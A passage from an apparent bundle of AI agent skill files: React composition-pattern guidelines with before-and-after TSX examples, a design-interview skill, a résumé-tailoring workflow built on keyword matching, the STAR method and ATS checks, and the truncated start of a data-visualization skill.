Rule Title Here\n\nBrief explanation of the rule and why it matters.\n\n**Incorrect:**\n\n```tsx\n// Bad code example\n```\n\n**Correct:**\n\n```tsx\n// Good code example\n```\n\nReference: [Link](https://example.com)\n","skills/composition-patterns/rules/architecture-avoid-boolean-props.md":"---\ntitle: Avoid Boolean Prop Proliferation\nimpact: CRITICAL\nimpactDescription: prevents unmaintainable component variants\ntags: composition, props, architecture\n---\n\n## Avoid Boolean Prop Proliferation\n\nDon't add boolean props like `isThread`, `isEditing`, `isDMThread` to customize\ncomponent behavior. Each boolean doubles possible states and creates\nunmaintainable conditional logic. Use composition instead.\n\n**Incorrect (boolean props create exponential complexity):**\n\n```tsx\nfunction Composer({\n  onSubmit,\n  isThread,\n  channelId,\n  isDMThread,\n  dmId,\n  isEditing,\n  isForwarding,\n}: Props) {\n  return (\n    <form>\n      <Header />\n      <Input />\n      {isDMThread ? (\n        <AlsoSendToDMField id={dmId} />\n      ) : isThread ? (\n        <AlsoSendToChannelField id={channelId} />\n      ) : null}\n      {isEditing ? <EditActions /> : isForwarding ? <ForwardActions /> : <DefaultActions />}\n      <Footer onSubmit={onSubmit} />\n    </form>\n  )\n}\n```\n\n**Correct (composition eliminates conditionals):**\n\n```tsx\n// Channel composer\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Attachments />\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Thread composer - adds \"also send to channel\" field\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <AlsoSendToChannelField id={channelId} />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Edit composer - different footer actions\nfunction EditComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.CancelEdit />\n        <Composer.SaveEdit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n```\n\nEach variant is explicit about what it renders. We can share internals without\nsharing a single monolithic parent.\n","skills/composition-patterns/rules/architecture-compound-components.md":"---\ntitle: Use Compound Components\nimpact: HIGH\nimpactDescription: enables flexible composition without prop drilling\ntags: composition, compound-components, architecture\n---\n\n## Use Compound Components\n\nStructure complex components as compound components with a shared context. Each\nsubcomponent accesses shared state via context, not props. Consumers compose the\npieces they need.\n\n**Incorrect (monolithic component with render props):**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n  showAttachments,\n  showFormatting,\n  showEmojis,\n}: Props) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {showAttachments && <Attachments />}\n      {renderFooter ? (\n        renderFooter()\n      ) : (\n        <Footer>\n          {showFormatting && <Formatting />}\n          {showEmojis && <Emojis />}\n          {renderActions?.()}\n        </Footer>\n      )}\n    </form>\n  )\n}\n```\n\n**Correct (compound components with shared context):**\n\n```tsx\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n\nfunction ComposerProvider({ children, state, actions, meta }: ProviderProps) {\n  return <ComposerContext value={{ state, actions, meta }}>{children}</ComposerContext>\n}\n\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta: { inputRef },\n  } = use(ComposerContext)\n  return (\n    <TextInput\n      ref={inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n\nfunction ComposerSubmit() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Send</Button>\n}\n\n// Export as compound component\nconst Composer = {\n  Provider: ComposerProvider,\n  Frame: ComposerFrame,\n  Input: ComposerInput,\n  Submit: ComposerSubmit,\n  Header: ComposerHeader,\n  Footer: ComposerFooter,\n  Attachments: ComposerAttachments,\n  Formatting: ComposerFormatting,\n  Emojis: ComposerEmojis,\n}\n```\n\n**Usage:**\n\n```tsx\n<Composer.Provider state={state} actions={actions} meta={meta}>\n  <Composer.Frame>\n    <Composer.Header />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Submit />\n    </Composer.Footer>\n  </Composer.Frame>\n</Composer.Provider>\n```\n\nConsumers explicitly compose exactly what they need. No hidden conditionals. And the state, actions and meta are dependency-injected by a parent provider, allowing multiple usages of the same component structure.\n","skills/composition-patterns/rules/patterns-children-over-render-props.md":"---\ntitle: Prefer Composing Children Over Render Props\nimpact: MEDIUM\nimpactDescription: cleaner composition, better readability\ntags: composition, children, render-props\n---\n\n## Prefer Children Over Render Props\n\nUse `children` for composition instead of `renderX` props. Children are more\nreadable, compose naturally, and don't require understanding callback\nsignatures.\n\n**Incorrect (render props):**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n}: {\n  renderHeader?: () => React.ReactNode\n  renderFooter?: () => React.ReactNode\n  renderActions?: () => React.ReactNode\n}) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {renderFooter ? renderFooter() : <DefaultFooter />}\n      {renderActions?.()}\n    </form>\n  )\n}\n\n// Usage is awkward and inflexible\nreturn (\n  <Composer\n    renderHeader={() => <CustomHeader />}\n    renderFooter={() => (\n      <>\n        <Formatting />\n        <Emojis />\n      </>\n    )}\n    renderActions={() => <SubmitButton />}\n  />\n)\n```\n\n**Correct (compound components with children):**\n\n```tsx\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerFooter({ children }: { children: React.ReactNode }) {\n  return <footer className=\"flex\">{children}</footer>\n}\n\n// Usage is flexible\nreturn (\n  <Composer.Frame>\n    <CustomHeader />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Emojis />\n      <SubmitButton />\n    </Composer.Footer>\n  </Composer.Frame>\n)\n```\n\n**When render props are appropriate:**\n\n```tsx\n// Render props work well when you need to pass data back\n<List data={items} renderItem={({ item, index }) => <Item item={item} index={index} />} />\n```\n\nUse render props when the parent needs to provide data or state to the child.\nUse children when composing static structure.\n","skills/composition-patterns/rules/patterns-explicit-variants.md":"---\ntitle: Create Explicit Component Variants\nimpact: MEDIUM\nimpactDescription: self-documenting code, no hidden conditionals\ntags: composition, variants, architecture\n---\n\n## Create Explicit Component Variants\n\nInstead of one component with many boolean props, create explicit variant\ncomponents. Each variant composes the pieces it needs. The code documents\nitself.\n\n**Incorrect (one component, many modes):**\n\n```tsx\n// What does this component actually render?\n<Composer isThread isEditing={false} channelId=\"abc\" showAttachments showFormatting={false} />\n```\n\n**Correct (explicit variants):**\n\n```tsx\n// Immediately clear what this renders\n<ThreadComposer channelId=\"abc\" />\n\n// Or\n<EditMessageComposer messageId=\"xyz\" />\n\n// Or\n<ForwardMessageComposer messageId=\"123\" />\n```\n\nEach implementation is unique, explicit and self-contained. Yet they can each\nuse shared parts.\n\n**Implementation:**\n\n```tsx\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <ThreadProvider channelId={channelId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <AlsoSendToChannelField channelId={channelId} />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Submit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ThreadProvider>\n  )\n}\n\nfunction EditMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <EditMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.CancelEdit />\n          <Composer.SaveEdit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </EditMessageProvider>\n  )\n}\n\nfunction ForwardMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <ForwardMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Mentions />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ForwardMessageProvider>\n  )\n}\n```\n\nEach variant is explicit about:\n\n- What provider/state it uses\n- What UI elements it includes\n- What actions are available\n\nNo boolean prop combinations to reason about. No impossible states.\n","skills/composition-patterns/rules/react19-no-forwardref.md":"---\ntitle: React 19 API Changes\nimpact: MEDIUM\nimpactDescription: cleaner component definitions and context usage\ntags: react19, refs, context, hooks\n---\n\n## React 19 API Changes\n\n> **⚠️ React 19+ only.** Skip this if you're on React 18 or earlier.\n\nIn React 19, `ref` is now a regular prop (no `forwardRef` wrapper needed), and `use()` replaces `useContext()`.\n\n**Incorrect (forwardRef in React 19):**\n\n```tsx\nconst ComposerInput = forwardRef<TextInput, Props>((props, ref) => {\n  return <TextInput ref={ref} {...props} />\n})\n```\n\n**Correct (ref as a regular prop):**\n\n```tsx\nfunction ComposerInput({ ref, ...props }: Props & { ref?: React.Ref<TextInput> }) {\n  return <TextInput ref={ref} {...props} />\n}\n```\n\n**Incorrect (useContext in React 19):**\n\n```tsx\nconst value = useContext(MyContext)\n```\n\n**Correct (use instead of useContext):**\n\n```tsx\nconst value = use(MyContext)\n```\n\n`use()` can also be called conditionally, unlike `useContext()`.\n","skills/composition-patterns/rules/state-context-interface.md":"---\ntitle: Define Generic Context Interfaces for Dependency Injection\nimpact: HIGH\nimpactDescription: enables dependency-injectable state across use-cases\ntags: composition, context, state, typescript, dependency-injection\n---\n\n## Define Generic Context Interfaces for Dependency Injection\n\nDefine a **generic interface** for your component context with three parts:\n`state`, `actions`, and `meta`. This interface is a contract that any provider\ncan implement—enabling the same UI components to work with completely different\nstate implementations.\n\n**Core principle:** Lift state, compose internals, make state\ndependency-injectable.\n\n**Incorrect (UI coupled to specific state implementation):**\n\n```tsx\nfunction ComposerInput() {\n  // Tightly coupled to a specific hook\n  const { input, setInput } = useChannelComposerState()\n  return <TextInput value={input} onChangeText={setInput} />\n}\n```\n\n**Correct (generic interface enables dependency injection):**\n\n```tsx\n// Define a GENERIC interface that any provider can implement\ninterface ComposerState {\n  input: string\n  attachments: Attachment[]\n  isSubmitting: boolean\n}\n\ninterface ComposerActions {\n  update: (updater: (state: ComposerState) => ComposerState) => void\n  submit: () => void\n}\n\ninterface ComposerMeta {\n  inputRef: React.RefObject<TextInput>\n}\n\ninterface ComposerContextValue {\n  state: ComposerState\n  actions: ComposerActions\n  meta: ComposerMeta\n}\n\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n```\n\n**UI components consume the interface, not the implementation:**\n\n```tsx\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta,\n  } = use(ComposerContext)\n\n  // This component works with ANY provider that implements the interface\n  return (\n    <TextInput\n      ref={meta.inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n```\n\n**Different providers implement the same interface:**\n\n```tsx\n// Provider A: Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const inputRef = useRef(null)\n  const submit = useForwardMessage()\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update: setState, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n\n// Provider B: Global synced state for channels\nfunction ChannelProvider({ channelId, children }: Props) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n```\n\n**The same composed UI works with both:**\n\n```tsx\n// Works with ForwardMessageProvider (local state)\n<ForwardMessageProvider>\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ForwardMessageProvider>\n\n// Works with ChannelProvider (global synced state)\n<ChannelProvider channelId=\"abc\">\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ChannelProvider>\n```\n\n**Custom UI outside the component can access state and actions:**\n\nThe provider boundary is what matters—not the visual nesting. Components that\nneed shared state don't have to be inside the `Composer.Frame`. They just need\nto be within the provider.\n\n```tsx\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        {/* The composer UI */}\n        <Composer.Frame>\n          <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n          <Composer.Footer>\n            <Composer.Formatting />\n            <Composer.Emojis />\n          </Composer.Footer>\n        </Composer.Frame>\n\n        {/* Custom UI OUTSIDE the composer, but INSIDE the provider */}\n        <MessagePreview />\n\n        {/* Actions at the bottom of the dialog */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton />\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\n// This button lives OUTSIDE Composer.Frame but can still submit based on its context!\nfunction ForwardButton() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Forward</Button>\n}\n\n// This preview lives OUTSIDE Composer.Frame but can read composer's state!\nfunction MessagePreview() {\n  const { state } = use(ComposerContext)\n  return <Preview message={state.input} attachments={state.attachments} />\n}\n```\n\nThe `ForwardButton` and `MessagePreview` are not visually inside the composer\nbox, but they can still access its state and actions. This is the power of\nlifting state into providers.\n\nThe UI is reusable bits you compose together. The state is dependency-injected\nby the provider. Swap the provider, keep the UI.\n","skills/composition-patterns/rules/state-decouple-implementation.md":"---\ntitle: Decouple State Management from UI\nimpact: MEDIUM\nimpactDescription: enables swapping state implementations without changing UI\ntags: composition, state, architecture\n---\n\n## Decouple State Management from UI\n\nThe provider component should be the only place that knows how state is managed.\nUI components consume the context interface—they don't know if state comes from\nuseState, Zustand, or a server sync.\n\n**Incorrect (UI coupled to state implementation):**\n\n```tsx\nfunction ChannelComposer({ channelId }: { channelId: string }) {\n  // UI component knows about global state implementation\n  const state = useGlobalChannelState(channelId)\n  const { submit, updateInput } = useChannelSync(channelId)\n\n  return (\n    <Composer.Frame>\n      <Composer.Input value={state.input} onChange={(text) => sync.updateInput(text)} />\n      <Composer.Submit onPress={() => sync.submit()} />\n    </Composer.Frame>\n  )\n}\n```\n\n**Correct (state management isolated in provider):**\n\n```tsx\n// Provider handles all state management details\nfunction ChannelProvider({\n  channelId,\n  children,\n}: {\n  channelId: string\n  children: React.ReactNode\n}) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }} meta={{ inputRef }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// UI component only knows about the context interface\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Usage\nfunction Channel({ channelId }: { channelId: string }) {\n  return (\n    <ChannelProvider channelId={channelId}>\n      <ChannelComposer />\n    </ChannelProvider>\n  )\n}\n```\n\n**Different providers, same UI:**\n\n```tsx\n// Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Provider state={state} actions={{ update: setState, submit: forwardMessage }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// Global synced state for channels\nfunction ChannelProvider({ channelId, children }) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n```\n\nThe same `Composer.Input` component works with both providers because it only\ndepends on the context interface, not the implementation.\n","skills/composition-patterns/rules/state-lift-state.md":"---\ntitle: Lift State into Provider Components\nimpact: HIGH\nimpactDescription: enables state sharing outside component boundaries\ntags: composition, state, context, providers\n---\n\n## Lift State into Provider Components\n\nMove state management into dedicated provider components. This allows sibling\ncomponents outside the main UI to access and modify state without prop drilling\nor awkward refs.\n\n**Incorrect (state trapped inside component):**\n\n```tsx\nfunction ForwardMessageComposer() {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer />\n    </Composer.Frame>\n  )\n}\n\n// Problem: How does this button access composer state?\nfunction ForwardMessageDialog() {\n  return (\n    <Dialog>\n      <ForwardMessageComposer />\n      <MessagePreview /> {/* Needs composer state */}\n      <DialogActions>\n        <CancelButton />\n        <ForwardButton /> {/* Needs to call submit */}\n      </DialogActions>\n    </Dialog>\n  )\n}\n```\n\n**Incorrect (useEffect to sync state up):**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const [input, setInput] = useState(\"\")\n  return (\n    <Dialog>\n      <ForwardMessageComposer onInputChange={setInput} />\n      <MessagePreview input={input} />\n    </Dialog>\n  )\n}\n\nfunction ForwardMessageComposer({ onInputChange }) {\n  const [state, setState] = useState(initialState)\n  useEffect(() => {\n    onInputChange(state.input) // Sync on every change 😬\n  }, [state.input])\n}\n```\n\n**Incorrect (reading state from ref on submit):**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const stateRef = useRef(null)\n  return (\n    <Dialog>\n      <ForwardMessageComposer stateRef={stateRef} />\n      <ForwardButton onPress={() => submit(stateRef.current)} />\n    </Dialog>\n  )\n}\n```\n\n**Correct (state lifted to provider):**\n\n```tsx\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider\n      state={state}\n      actions={{ update: setState, submit: forwardMessage }}\n      meta={{ inputRef }}\n    >\n      {children}\n    </Composer.Provider>\n  )\n}\n\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        <ForwardMessageComposer />\n        <MessagePreview /> {/* Custom components can access state and actions */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton /> {/* Custom components can access state and actions */}\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\nfunction ForwardButton() {\n  const { actions } = use(Composer.Context)\n  return <Button onPress={actions.submit}>Forward</Button>\n}\n```\n\nThe ForwardButton lives outside the Composer.Frame but still has access to the\nsubmit action because it's within the provider. Even though it's a one-off\ncomponent, it can still access the composer's state and actions from outside the\nUI itself.\n\n**Key insight:** Components that need shared state don't have to be visually\nnested inside each other—they just need to be within the same provider.\n","skills/cross-examine/SKILL.md":"---\nname: cross-examine\ndescription: Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions \"grill me\".\n---\n\nInterview me relentlessly about every aspect of this plan until we reach a shared understanding. Walk down each branch of the design tree, resolving dependencies between decisions one-by-one. For each question, provide your recommended answer.\n\nAsk the questions one at a time.\n\nIf a question can be answered by exploring the codebase, explore the codebase instead.\n","skills/cv-tailor/SKILL.md":"---\nname: cv-tailor\ndescription: \"Optimize resumes by matching keywords to the job description, rewriting experience with the quantified STAR method, and checking ATS compatibility. Triggered when users ask for resume help, review, or polishing, mention JD matching, STAR method, ATS, or want to tailor their resume for a specific role.\"\nlicense: MIT\n---\n\n# CV Tailor\n\n**Three pillars of resume optimization**: Analyze keyword alignment against the target JD, rewrite experience bullets using the STAR method with quantified results, and run an ATS compatibility check — producing a highly targeted, high-pass-rate optimized resume.\n\n## Quick Start\n\nThe user provides their resume (content or file) and the target JD. The agent then automatically completes the optimization following the workflow below:\n\n```\nUser: Help me optimize my resume — I'm applying for this role [attaches JD + resume]\nAgent: [Follows the SOP workflow and outputs optimization recommendations plus a rewritten resume]\n```\n\n## SOP Workflow\n\n### Phase 1: Input Collection & Initial Analysis\n\n**Goal**: Gather the user's resume and target JD; establish an optimization baseline.\n\n**Steps**:\n\n1. **Collect materials**:\n   - Obtain the user's resume content (pasted text or file path)\n   - Obtain the target JD (pasted text or role description)\n   - If no JD is provided, ask about the target role direction (industry + position + level)\n\n2. **Resume baseline parsing**:\n   - Identify resume sections (education, work experience, projects, skills, etc.)\n   - Count resume length, number of experience entries, and time span\n   - Note the current resume format type (reverse-chronological / functional / hybrid)\n\n3. **JD core element extraction**:\n   - Job title and level\n   - Core responsibilities (Top 5)\n   - Hard requirements (must-haves)\n   - Nice-to-haves\n   - Key skill terms and industry jargon\n\n**Output**: Resume status summary + JD element checklist\n\n---\n\n### Phase 2: JD Keyword Match Analysis\n\n**Goal**: Systematically compare keyword coverage between the resume and JD to identify match gaps.\n\n**Steps**:\n\n1. **Categorized keyword extraction**:\n   Extract three categories of keywords from the JD:\n\n   | Category | Description | Examples |\n   |----------|-------------|----------|\n   | **Hard skill keywords** | Tech stack, tools, methodologies | Python, SQL, A/B testing, Scrum |\n   | **Soft skill keywords** | Competency requirements | Cross-team collaboration, data-driven, project management |\n   | **Industry/domain keywords** | Domain-specific terminology | DAU, conversion rate, user growth, SaaS |\n\n2. **Match analysis**:\n   Search each keyword in the resume and generate a match matrix:\n\n   ```\n   | Keyword | JD Priority | In Resume? | Location | Recommendation |\n   |---------|-------------|------------|----------|----------------|\n   | Python  | Required    | ✅ Yes     | Skills + Project 1 | Keep; add specific use-case context |\n   | SQL     | Required    | ❌ No      | -        | Add; weave into project experience |\n   ```\n\n3. **Coverage scoring**:\n   - Required keyword coverage = matched required keywords / total required keywords × 100%\n   - Nice-to-have coverage = matched nice-to-have keywords / total nice-to-have keywords × 100%\n   - **Benchmark**: Required keyword coverage ≥ 80% is passing, ≥ 90% is excellent\n\n4. **Gap-fill recommendations**:\n   - For each unmatched required keyword, recommend which section and entry to add it to\n   - Provide specific integration approaches (add to skills section / embed in experience bullet / highlight in project outcomes)\n\n**Output**: Keyword match matrix + coverage scores + gap-fill plan\n\n---\n\n### Phase 3: STAR Quantified Rewriting\n\n**Goal**: Rewrite each experience entry using the STAR method, ensuring quantified data support.\n\n**STAR Method Definition**:\n\n| Element | Meaning | Checkpoint |\n|---------|---------|------------|\n| **S** - Situation | Context & background | When, what scenario, what scale |\n| **T** - Task | Objective & responsibility | What was your role, what problem to solve |\n| **A** - Action | Specific actions taken | What you did, what methods/tools you used |\n| **R** - Result | Quantified outcomes | Data changes, efficiency gains, cost savings |\n\n**Steps**:\n\n1. **Diagnose existing entries**:\n   Evaluate STAR completeness for each experience bullet:\n\n   ```\n   Original: \"Responsible for user growth initiatives\"\n\n   Diagnosis:\n   - S (Situation): ❌ Missing — no product or stage context\n   - T (Task): ⚠️ Vague — \"initiatives\" is too generic\n   - A (Action): ❌ Missing — no specific actions described\n   - R (Result): ❌ Missing — no data whatsoever\n   Score: 1/4 (severely lacking)\n   ```\n\n2. **Quantified rewriting**:\n   After gathering additional details from the user, rewrite using the STAR structure:\n\n   ```\n   Rewritten: \"During a user growth plateau for [Product Name] (DAU 500K+),\n   led the design of a new-user activation funnel analysis framework (S+T),\n   optimized 3 critical registration flow touchpoints + designed a 7-day retention incentive strategy (A),\n   increasing new-user D1 retention from 32% to 45% and monthly active users by 18% within 3 months (R)\"\n   ```\n\n3. **Quantification guidance**:\n   If the user is unsure about specific numbers, provide prompting questions:\n\n   | Dimension | Guiding Questions |\n   |-----------|-------------------|\n   | Scale metrics | How many people did you manage / product DAU / project budget |\n   | Efficiency gains | How long did it take before vs. after optimization |\n   | Growth metrics | Revenue / users / conversion rate change |\n   | Cost savings | Money / headcount / time saved |\n   | Impact scope | Users served / clients covered / teams affected |\n\n   **Data integrity principles**:\n   - All data must be based on the user's real experience — fabrication is strictly prohibited\n   - If the user cannot provide exact figures, use reasonable ranges (e.g., \"improved by approximately 20%–30%\")\n   - Encourage relative values over absolutes (e.g., \"2× efficiency improvement\" is safer than \"saved 3.7 hours per day\")\n\n4. **Rewrite quality checklist**:\n   Each rewritten entry must satisfy:\n   - [ ] Contains at least 1 quantified data point\n   - [ ] Covers at least 3 of the 4 STAR elements\n   - [ ] Begins with an action verb (led, built, optimized, drove, designed…)\n   - [ ] No longer than 3 lines (ATS readability)\n   - [ ] Incorporates missing keywords identified in Phase 2\n\n**Output**: Before/after comparison table for each entry + STAR score changes\n\n---\n\n### Phase 4: ATS Compatibility Check\n\n**Goal**: Ensure the resume can pass ATS (Applicant Tracking System) automated screening.\n\n**ATS Basics**:\nATS is the software companies use to automatically screen resumes. It parses resume text, matches keywords, and assigns scores to determine whether a resume reaches human review. Common systems include Workday, Greenhouse, Lever, Taleo, and iCIMS.\n\n**Steps**:\n\n1. **Format compatibility check**:\n\n   | Check Item | Passing Standard | Common Issues |\n   |------------|------------------|---------------|\n   | File format | PDF or DOCX (PDF preferred) | Image-based resumes cannot be parsed |\n   | Layout | Single-column, standard heading hierarchy | Multi-column layouts may parse incorrectly |\n   | Fonts | Standard fonts (Arial, Calibri, Times New Roman, Helvetica) | Decorative fonts may render incorrectly |\n   | Tables | Avoid complex table-based layouts | Text inside tables may be skipped |\n   | Headers/footers | Keep critical info out of headers/footers | Some ATS skip header/footer regions |\n   | Images/icons | Don't use images to convey key information | ATS cannot read text in images |\n   | Special characters | Avoid special Unicode bullet characters | Use standard bullets (•) or hyphens (-) |\n\n2. **Content structure check**:\n\n   | Check Item | Passing Standard |\n   |------------|------------------|\n   | Section titles | Use standard headings (\"Work Experience\", \"Education\", \"Projects\", \"Skills\") |\n   | Date format | Consistent format (e.g., \"Jan 2023 – Jun 2024\" or \"2023/01 – 2024/06\") |\n   | Company/school names | Use full names, not abbreviations (e.g., \"Amazon Web Services\" not \"AWS\") |\n   | Contact information | Include name, phone, email — placed prominently at the top |\n   | File naming | Recommended format: \"FirstName_LastName_TargetRole_Resume\" (e.g., \"John_Smith_Product_Manager_Resume.pdf\") |\n\n3. **Keyword density check**:\n   - Core keywords should appear at least 2–3 times (distributed across different sections)\n   - Avoid keyword stuffing (repeating the same keyword within one paragraph)\n   - Use the exact phrasing from the JD (if the JD says \"data analysis,\" don't write \"data mining\")\n\n4. **ATS score output**:\n\n   ```\n   ATS Compatibility Scorecard\n   ===========================\n   Format Compatibility:     ██████████ 90/100\n   Section Standards:        ████████░░ 80/100\n   Keyword Match Rate:       ███████░░░ 70/100 (see Phase 2)\n   Content Structure:        █████████░ 85/100\n   ──────────────────────────\n   Overall Score:            81/100 (Good)\n\n   ⚠️ Major deductions:\n   1. Uses a two-column layout (−10 pts)\n   2. Missing a standalone \"Skills\" section (−5 pts)\n   3. \"Data analysis\" keyword appears only once (−5 pts)\n   ```\n\n**Output**: ATS compatibility scorecard + item-by-item results + fix recommendations\n\n---\n\n### Phase 5: Final Optimized Output\n\n**Goal**: Consolidate findings from all four phases into a final optimization deliverable.\n\n**Steps**:\n\n1. **Optimization summary**:\n   ```\n   Resume Optimization Summary\n   ===========================\n   JD Keyword Coverage:      62% → 92% (+30%)\n   STAR Completeness:        Avg 1.5/4 → 3.5/4\n   ATS Compatibility Score:  55/100 → 88/100\n   Entries Rewritten:        6/8\n   Keywords Added:           7\n   ```\n\n2. **Output the fully rewritten resume**:\n   - Present the optimized resume text section by section\n   - **Bold** all changed portions for easy comparison\n   - Keep all factual information unchanged (schools, companies, dates, etc.)\n\n3. **Additional recommendations** (if applicable):\n   - Resume length guidance (new grads: 1 page; 3–5 years experience: 1–2 pages; 10+ years: up to 2 pages)\n   - Section ordering suggestions (adjust education vs. experience placement based on career stage)\n   - Channel-specific tweaks (different emphasis for recruiter / company portal / referral submissions)\n\n**Output**: Optimization summary + fully rewritten resume + additional recommendations\n\n---\n\n## Workflow Control Rules\n\n### Interaction Modes\n\n| User Input | Mode | Behavior |\n|------------|------|----------|\n| Resume only, no JD | **Guided mode** | Ask about the target role and JD first, then begin analysis |\n| Resume + JD | **Standard mode** | Execute Phases 1–5 in full |\n| Requests a specific phase only | **Single-phase mode** | Execute only the requested Phase (e.g., ATS check only) |\n| Says \"just give it a quick look\" | **Diagnostic mode** | Output three scores + Top 3 improvement suggestions — no full rewrite |\n\n### Quality Checklist\n\nBefore delivering the final output, verify each item:\n\n- [ ] Keyword match matrix is complete (covers all required JD items)\n- [ ] Every rewritten entry includes at least 1 quantified data point\n- [ ] STAR rewrites preserve the authenticity of the user's real experience\n- [ ] No data or experience has been fabricated\n- [ ] ATS check covers all format items\n- [ ] Rewritten resume length is appropriate\n- [ ] Keywords are woven in naturally — not force-fitted\n- [ ] Contact details and sensitive information have not been leaked or altered\n\n### Iterative Refinement\n\nIf the user provides feedback on the optimization:\n1. Identify which Phase the feedback relates to\n2. Re-execute from that Phase\n3. Cascade updates to all downstream content\n4. Maintain overall consistency (keywords, STAR rewrites, and ATS checks update in lockstep)\n\n## Core Principles\n\n1. **Authenticity first**: All optimizations must be based on the user's real experience — fabricating data or experience is strictly prohibited\n2. **Targeted optimization**: Every change should serve JD alignment — no aimless embellishment\n3. **Actionable advice**: Recommendations must be directly usable — don't say \"add metrics\" without guiding the user on how\n4. **Privacy protection**: Remind users to redact sensitive information (phone numbers, home addresses, etc.) when sharing their resume\n","skills/data-viz-renderer/SKILL.md":"---\nname: data-viz-renderer\ndescription: \"Generate self-contained HTML/SVG infographics from JSON data, including stat cards, bar charts, flow diagrams, and mixed dashboards. Offers 8 color palettes and built-in icons with no external dependencies. Triggered when users request data visualization, infographics, charts, or dashboards.\"\nlicense: MIT\ntype: tool\ntags: [\"infographic\", \"visualization\", \"svg\", \"html\", \"chart\", 